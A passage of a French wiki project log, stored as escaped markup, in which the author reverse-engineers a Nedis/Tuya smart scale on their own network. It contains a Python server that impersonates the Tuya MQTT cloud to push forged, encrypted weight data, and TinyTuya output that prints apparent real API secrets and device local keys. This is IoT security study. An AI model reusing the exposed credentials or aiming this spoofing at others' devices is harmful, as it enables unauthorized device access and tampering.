quot;fa1667ca872e46d4&amp;amp;quot;,&amp;amp;quot;pv&amp;amp;quot;:&amp;amp;quot;2.1&amp;amp;quot;,&amp;amp;quot;resptime&amp;amp;quot;:0,&amp;amp;quot;share&amp;amp;quot;:false,&amp;amp;quot;startTime&amp;amp;quot;:0,&amp;amp;quot;tempShare&amp;amp;quot;:false}]&amp;lt;/string&amp;gt; &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je vais apprendre plus tard que cette clé est une clé qui permet de sécuriser l'échange Bluetooth entre la balance et le téléphone lors de la première connexion. Mais avant de le savoir, j'ai tenté d'améliorer le faux serveur avec cette clé.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from Crypto.Util.Padding import pad&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIG =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
# LOCAL KEY 16 caractères&lt;br /&gt;
LOCAL_KEY = b&amp;quot;674d29fb978a1705&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# DPS balance (poids correct pour Nedis)&lt;br /&gt;
DPS_POIDS = {&lt;br /&gt;
    &amp;quot;1&amp;quot;: 8050,   # 80.50 kg&lt;br /&gt;
    &amp;quot;2&amp;quot;: 1,      # stable&lt;br /&gt;
    &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
# =========================================&lt;br /&gt;
&lt;br /&gt;
# ---------- TUYA CRYPTO ----------&lt;br /&gt;
def tuya_encrypt(data: dict, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    raw = json.dumps(data, separators=(',', ':')).encode()&lt;br /&gt;
    cipher = AES.new(local_key, AES.MODE_ECB)&lt;br /&gt;
    encrypted = cipher.encrypt(pad(raw, 16))&lt;br /&gt;
    return base64.b64encode(encrypted).decode()&lt;br /&gt;
&lt;br /&gt;
def tuya_sign(enc_data: str, ts: int, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    s = f&amp;quot;data={enc_data}&amp;amp;t={ts}&amp;amp;key={local_key.decode()}&amp;quot;&lt;br /&gt;
    return hashlib.md5(s.encode()).hexdigest()&lt;br /&gt;
&lt;br /&gt;
def build_tuya_payload(dps: dict, device_id: str) -&amp;gt; dict:&lt;br /&gt;
    ts = int(time.time())&lt;br /&gt;
    enc = tuya_encrypt({&lt;br /&gt;
        &amp;quot;devId&amp;quot;: device_id,&lt;br /&gt;
        &amp;quot;dps&amp;quot;: dps&lt;br /&gt;
    }, LOCAL_KEY)&lt;br /&gt;
    sign = tuya_sign(enc, ts, LOCAL_KEY)&lt;br /&gt;
    return {&lt;br /&gt;
        &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
        &amp;quot;t&amp;quot;: ts,&lt;br /&gt;
        &amp;quot;data&amp;quot;: enc,&lt;br /&gt;
        &amp;quot;sign&amp;quot;: sign&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
def extract_device_id(topic: str) -&amp;gt; str:&lt;br /&gt;
    return topic.split(&amp;quot;/&amp;quot;)[-1]&lt;br /&gt;
&lt;br /&gt;
# ---------- MQTT UTILS ----------&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
# ---------- SERVER ----------&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS Tuya prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    published_topics = set()&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # -------- HANDLERS --------&lt;br /&gt;
                if pkt_type == 1:  # CONNECT&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)  # CONNACK OK&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 8:  # SUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, msg_id + b&amp;quot;\x01&amp;quot;))  # SUBACK QoS 1&lt;br /&gt;
&lt;br /&gt;
                    # Publication automatique&lt;br /&gt;
                    device_id = extract_device_id(topic)&lt;br /&gt;
                    tuya_payload = build_tuya_payload(DPS_POIDS, device_id)&lt;br /&gt;
                    json_payload = json.dumps(tuya_payload)&lt;br /&gt;
&lt;br /&gt;
                    topic_bytes = topic.encode()&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
                    print(&amp;quot;POIDS TUYA CHIFFRÉ ENVOYÉ&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 4:  # PUBACK&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; PUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 10:  # UNSUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    conn.send(create_mqtt_packet(11, 0x00, msg_id))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; UNSUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 12:  # PINGREQ&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je pense que pour faire fonctionner cette méthode, il faut absolument que je trouve la clé qui crypte le message pour que Nedis l'accepte quand il le reçoit&lt;br /&gt;
&lt;br /&gt;
J'ai donc cherché dans cette direction et j'ai découvert deux choses. &lt;br /&gt;
&lt;br /&gt;
Premièrement, TinyTuya, une API Python pour les appareils intelligents Tuya (génial, Nedis utilise Tuya) WiFi utilisant une connexion directe au réseau local (LAN) ou le cloud (API TuyaCloud). TinyTuya permet entre autre de récupérer la fameuse clé.&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai découvert la plateforme IOT de Tuya qui permet, en connectant son application de téléphone sur le site, de jouer avec ses appareils Tuya pour une connexion avec Home Assisant ou encore ... TinyTuya !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: J'ai du changer d'application et cette application ne tape plus sur la même adresse. Elle tape sur XX-eu.lifeaiot.com il a donc fallu refaire une redirection vers notre serveur pour ces nouvelles adresses.&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: j'ai la clé. Je parle plus de TinyTuya dans la prochaine partie car même avec cette clé, ce faux serveur ne marche pas. Je vais donc tenter d'autres pistes.&lt;br /&gt;
&lt;br /&gt;
== TinyTuya ==&lt;br /&gt;
Dans cette partie, nous allons tenter de connecter notre balance à notre faux serveur en utilisant l'utilitaire TinyTuya. Le but est de récupérer le poids de l'utilisateur de la balance lorsqu'il se pèse.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il a fallu connecter l'appli à la platforme IOT de Tuya. L'application &amp;quot;Nedis Smartlife&amp;quot; de Nedis, qui utilise bien la même base que l'application Smartlife de Tuya (oui oui c'est le même nom…) ne veux pas se connecter à la plateforme pour une raison inexplicable (et au vu du nombre de forum qui parle du sujet, je ne suis pas le seul).&lt;br /&gt;
&lt;br /&gt;
J'ai donc du connecter ma balance sur l'appli Smartlife qui a bien voulu se connecter à la plateforme.&lt;br /&gt;
&lt;br /&gt;
Cela me permet de récupérer avec TinyTuya les périphériques&lt;br /&gt;
&lt;br /&gt;
Et je vais maintenant tenter d'expliquer le fonctionnement de TinyTuya étape par étape…&lt;br /&gt;
&lt;br /&gt;
Déjà pourquoi connecter l'application avec la plateforme IOT de Tuya --&amp;gt; Cela permet à l'appli de récupérer les appareils connectés de mon application, elle va générer un ID et une clé.&lt;br /&gt;
&lt;br /&gt;
Et comment faire pour que TinyTuya est accès aux appareils --&amp;gt; grâce à la commande &amp;lt;code&amp;gt;python -m tinytuya wizard&amp;lt;/code&amp;gt; qui va prendre l'ID et la clé pour récupérer les appareils. &lt;br /&gt;
&lt;br /&gt;
Ensuite la commande suivante va permettre à TinyTuya de détecter nos appareils qui sont effectivement connecté à notre réseau :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya devices &lt;br /&gt;
TinyTuya (Tuya device scanner) [1.17.4] Loaded devices.json - 1 devices: Device Listing [     &lt;br /&gt;
{         &lt;br /&gt;
&amp;quot;name&amp;quot;: &amp;quot;P\u00e8se pas que des personnes&amp;quot;,         &lt;br /&gt;
&amp;quot;id&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;key&amp;quot;: &amp;quot;V[z^Gr|qekh]9z_&amp;gt;&amp;quot;,         &lt;br /&gt;
&amp;quot;mac&amp;quot;: &amp;quot;a4:e5:7c:16:2d:4c&amp;quot;,         &lt;br /&gt;
&amp;quot;uuid&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;sn&amp;quot;: &amp;quot;10003702800241&amp;quot;,         &lt;br /&gt;
&amp;quot;category&amp;quot;: &amp;quot;qt&amp;quot;,         &lt;br /&gt;
&amp;quot;product_name&amp;quot;: &amp;quot;Personal Scale&amp;quot;,         &lt;br /&gt;
&amp;quot;product_id&amp;quot;: &amp;quot;arjciqapuueq9cvt&amp;quot;,         &lt;br /&gt;
&amp;quot;biz_type&amp;quot;: 18,         &lt;br /&gt;
&amp;quot;model&amp;quot;: &amp;quot;WIFIHS10WT&amp;quot;,         &lt;br /&gt;
&amp;quot;sub&amp;quot;: false,         &lt;br /&gt;
&amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png&amp;quot;,         &lt;br /&gt;
&amp;quot;mapping&amp;quot;: {}     } ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et la, magie, on obtient la clé de la balance, on va pouvoir enfin récupérer le poids de notre utilisateur grâce à ce code python qui écoute la balance:&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import tinytuya&lt;br /&gt;
&lt;br /&gt;
DEVICE_ID = '84853100a4e57c162d4c'&lt;br /&gt;
IP_ADDRESS = '172.16.10.105'&lt;br /&gt;
LOCAL_KEY = 'V[z^Gr|qekh]9z_&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
# Connexion à l'appareil&lt;br /&gt;
d = tinytuya.Device(DEVICE_ID, IP_ADDRESS, LOCAL_KEY)&lt;br /&gt;
&lt;br /&gt;
d.set_version(3.3)&lt;br /&gt;
&lt;br /&gt;
# Récupérer le statut&lt;br /&gt;
data = d.status() &lt;br /&gt;
print(&amp;quot;Statut complet :&amp;quot;, data)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Évidemment cela ne fonctionne pas. Et pourquoi ? Et bien si l'on regarde dans le bloc &amp;lt;code&amp;gt;python3 -m tinytuya devices TinyTuya&amp;lt;/code&amp;gt; on observe que le champs mapping est vide. Ce champs est censé afficher toute les données que TinyTuya est censé pouvoir récupérer … et il est vide …&lt;br /&gt;
&lt;br /&gt;
Soit je suis à l'origine de ce problème, soit TinyTuya ne permet de changer nous ampoules connecté en rouge si la balance affiche que notre objectif de poids est dépassé …&lt;br /&gt;
&lt;br /&gt;
Affaire à suivre.&lt;br /&gt;
&lt;br /&gt;
TODO : ne marche pas en local ? tenter d'enlever la redirection&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya wizard -force&lt;br /&gt;
TinyTuya Setup Wizard [1.17.4]&lt;br /&gt;
&lt;br /&gt;
    Existing settings:&lt;br /&gt;
        API Key=g5wufknjhcwqkkpsrgug &lt;br /&gt;
        Secret=edac1effd9374f50b6c61ddd2ea1e734&lt;br /&gt;
        DeviceID=84853100a4e57c162d4c&lt;br /&gt;
        Region=eu&lt;br /&gt;
&lt;br /&gt;
    Use existing credentials (Y/n): &lt;br /&gt;
&lt;br /&gt;
Download DP Name mappings? (Y/n): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Device Listing&lt;br /&gt;
&lt;br /&gt;
[&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;D\u00e9tecteur de fum\u00e9e&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;86730270483fda3155d0&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;r@fAdR'PW~0O`v5@&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;48:3f:da:31:55:d0&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;86730270483fda3155d0&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;1000716370419B&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;ywbj&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Smoke detector&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;inwnovped8h5aoaw&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFIDS20WT&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/651af99cad24017128e3dc2322461ae5.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;smoke_sensor_status&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;alarm&amp;quot;,&lt;br /&gt;
                        &amp;quot;normal&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;14&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;battery_state&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;low&amp;quot;,&lt;br /&gt;
                        &amp;quot;middle&amp;quot;,&lt;br /&gt;
                        &amp;quot;high&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;P\u00e8se pas que des personnes&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;V[z^Gr|qekh]9z_&amp;gt;&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;a4:e5:7c:16:2d:4c&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;10003702800241&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;qt&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Personal Scale&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;arjciqapuueq9cvt&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFIHS10WT&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {}&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving list to devices.json&lt;br /&gt;
    2 registered devices saved&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving raw TuyaPlatform response to tuya-raw.json&lt;br /&gt;
&lt;br /&gt;
Poll local devices? (Y/n): &lt;br /&gt;
&lt;br /&gt;
Scanning local network for Tuya devices...&lt;br /&gt;
Scan network 172.16.10.0/24 from interface eth0? ([Y]es/[n]o/[a]ll yes): &lt;br /&gt;
Scan network 172.26.145.0/24 from interface eth1? ([Y]es/[n]o/[a]ll yes): n&lt;br /&gt;
Scan network 172.26.145.0/24 from interface eth1? ([Y]es/[n]o/[a]ll yes): n&lt;br /&gt;
    0 local devices discovered                                   &lt;br /&gt;
&lt;br /&gt;
Polling local devices...&lt;br /&gt;
    [Détecteur de fumée       ] Error: No IP found&lt;br /&gt;
    [Pèse pas que des personne] Error: No IP found&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving device snapshot data to snapshot.json&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Done.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya wizard&lt;br /&gt;
TinyTuya Setup Wizard [1.17.4]&lt;br /&gt;
&lt;br /&gt;
    Existing settings:&lt;br /&gt;
        API Key=g5wufknjhcwqkkpsrgug &lt;br /&gt;
        Secret=edac1effd9374f50b6c61ddd2ea1e734&lt;br /&gt;
        DeviceID=84853100a4e57c162d4c&lt;br /&gt;
        Region=eu&lt;br /&gt;
&lt;br /&gt;
    Use existing credentials (Y/n): n&lt;br /&gt;
&lt;br /&gt;
    Enter API Key from tuya.com: g5wufknjhcwqkkpsrgug&lt;br /&gt;
    Enter API Secret from tuya.com: edac1effd9374f50b6c61ddd2ea1e734&lt;br /&gt;
    Enter any Device ID currently registered in Tuya App (used to pull full list) or 'scan' to scan for one: bf85da6b2eccef5784rydz&lt;br /&gt;
&lt;br /&gt;
      Region List&lt;br /&gt;
        cn	China Data Center (alias: AY)&lt;br /&gt;
        us	US - Western America Data Center (alias: AZ)&lt;br /&gt;
        us-e	US - Eastern America Data Center (alias: UE)&lt;br /&gt;
        eu	Central Europe Data Center&lt;br /&gt;
        eu-w	Western Europe Data Center (alias: WE)&lt;br /&gt;
        in	India Data Center&lt;br /&gt;
        sg	Singapore Data Center&lt;br /&gt;
&lt;br /&gt;
    Enter Your Region (Options: cn, us, us-e, eu, eu-w, in, or sg): eu&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Configuration Data Saved to tinytuya.json&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;apiKey&amp;quot;: &amp;quot;g5wufknjhcwqkkpsrgug&amp;quot;,&lt;br /&gt;
    &amp;quot;apiSecret&amp;quot;: &amp;quot;edac1effd9374f50b6c61ddd2ea1e734&amp;quot;,&lt;br /&gt;
    &amp;quot;apiRegion&amp;quot;: &amp;quot;eu&amp;quot;,&lt;br /&gt;
    &amp;quot;apiDeviceID&amp;quot;: &amp;quot;bf85da6b2eccef5784rydz&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Download DP Name mappings? (Y/n): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Device Listing&lt;br /&gt;
&lt;br /&gt;
[&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;Ampoule Connect\u00e9e&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;bf85da6b2eccef5784rydz&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;ZO:}y#{'gM.QuI|T&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;10:5a:17:a9:b5:6f&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;b73f1a854ac4219e&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;830-2-20148D&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;dj&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Smart bulb&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;mdzqw8qjfzfdjz9n&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFILRW10E27&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/9a70929a5f5c1855c1c091ab404b8319.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {&lt;br /&gt;
            &amp;quot;20&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;switch_led&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Boolean&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {}&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;21&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;work_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;white&amp;quot;,&lt;br /&gt;
                        &amp;quot;colour&amp;quot;,&lt;br /&gt;
                        &amp;quot;scene&amp;quot;,&lt;br /&gt;
                        &amp;quot;music&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;22&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;bright_value_v2&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Integer&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;min&amp;quot;: 10,&lt;br /&gt;
                    &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                    &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;23&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;temp_value_v2&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Integer&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                    &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;25&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;scene_data_v2&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Json&amp;quot;,&lt;br /&gt;
                &amp;quot;raw_values&amp;quot;: &amp;quot;{\&amp;quot;scene_num\&amp;quot;:{\&amp;quot;min\&amp;quot;:1,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:8,\&amp;quot;step\&amp;quot;:1},\&amp;quot;scene_units\&amp;quot;: {\&amp;quot;unit_change_mode\&amp;quot;:{\&amp;quot;range\&amp;quot;:[\&amp;quot;static\&amp;quot;,\&amp;quot;jump\&amp;quot;,\&amp;quot;gradient\&amp;quot;]},\&amp;quot;unit_switch_duration\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:100,\&amp;quot;step\&amp;quot;:1},\&amp;quot;unit_gradient_duration\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:100,\&amp;quot;step\&amp;quot;:1},\&amp;quot;bright\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1},\&amp;quot;temperature\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1},\&amp;quot;h\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&